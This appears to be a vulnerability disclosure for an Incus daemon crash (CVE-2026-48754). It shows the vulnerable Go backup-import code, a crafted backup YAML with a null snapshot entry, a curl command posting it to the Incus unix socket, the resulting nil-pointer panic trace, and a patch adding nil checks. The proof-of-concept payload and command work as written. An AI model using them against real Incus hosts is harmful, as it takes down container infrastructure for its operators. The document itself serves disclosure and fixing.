Incus CVE-2026-48754

func (b *backend) createDependentVolumesFromBackup(srcBackup backup.Info, ...) error {
    ...
    for _, disk := range srcBackup.Config.DependentVolumes {
        if disk == nil {                                  // ← d768f81 parent fix
            return errors.New("Bad dependent volume definition found in index")
        }
        ...
        snapshots := []string{}
        for _, snap := range disk.VolumeSnapshots {
            snapshots = append(snapshots, snap.Name)      // ← I-2 trigger: snap may be nil
        }

        bInfo := backup.Info{
            Project:          disk.Volume.Project,        // ← disk.Volume may be nil
            Name:             disk.Volume.Name,
            Backend:          disk.Pool.Driver,           // ← disk.Pool may be nil
            Pool:             disk.Pool.Name,
            ...
        }
        ...
        devKey := fmt.Sprintf("%s/%s", disk.Pool.Name, disk.Volume.Name)
        ...
    }
}

name: poc-inst
backend: dir
pool: default
type: container
optimized: false
optimized_header: false
snapshots: []
config:
  container:
    name: poc-inst
    architecture: x86_64
    type: container
    profiles: ["default"]
    config: {}
    devices: {}
    expanded_devices:
      depdisk: {type: disk, dependent: "true", pool: default, source: depvol, path: /data}
    expanded_config: {}
  dependent_volumes:
    - volume: {name: depvol, type: custom, content_type: filesystem, config: {}}
      pool:   {name: default, driver: dir, config: {}}
      volume_snapshots:
        - ~
# explicit null entry → snap.Name at 9374 panics

$ curl -s --unix-socket /var/lib/incus/unix.socket -X POST \
    --data-binary @/tmp/poc-inst.tar.gz \
    -H 'Content-Type: application/octet-stream' \
    -H 'X-Incus-name: poc-inst' \
    http://incus/1.0/instances
{"type":"async","status":"Operation created","status_code":100,...}

$ ps -ef | grep incusd | grep -v grep
# process gone

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x163b7bc]

goroutine 257 [running]:
github.com/lxc/incus/v7/internal/server/storage.(*backend).createDependentVolumesFromBackup(...)
    /build/incus/internal/server/storage/backend.go:9374 +0x42c
github.com/lxc/incus/v7/internal/server/storage.(*backend).CreateInstanceFromBackup(...)
    /build/incus/internal/server/storage/backend.go:782 +0x660
main.createFromBackup.func8(...)
    /build/incus/cmd/incusd/instances_post.go:989 +0x2ac
github.com/lxc/incus/v7/internal/server/operations.(*Operation).Start.func1(...)
    /build/incus/internal/server/operations/operations.go:307 +0x2c

--- a/internal/server/storage/backend.go
+++ b/internal/server/storage/backend.go
@@ -9362,6 +9362,18 @@ func (b *backend) createDependentVolumesFromBackup(...) error {
     for _, disk := range srcBackup.Config.DependentVolumes {
         if disk == nil {
             return errors.New("Bad dependent volume definition found in index")
         }
+
+        if disk.Volume == nil || disk.Pool == nil {
+            return errors.New("Bad dependent volume definition: missing volume or pool")
+        }
+
+        for _, snap := range disk.VolumeSnapshots {
+            if snap == nil {
+                return errors.New("Bad dependent volume snapshot definition")
+            }
+        }
+
         optimizedStorage := srcBackup.OptimizedStorage
         optimizedHeader := srcBackup.OptimizedHeader

         snapshots := []string{}
         for _, snap := range disk.VolumeSnapshots {
             snapshots = append(snapshots, snap.Name)
         }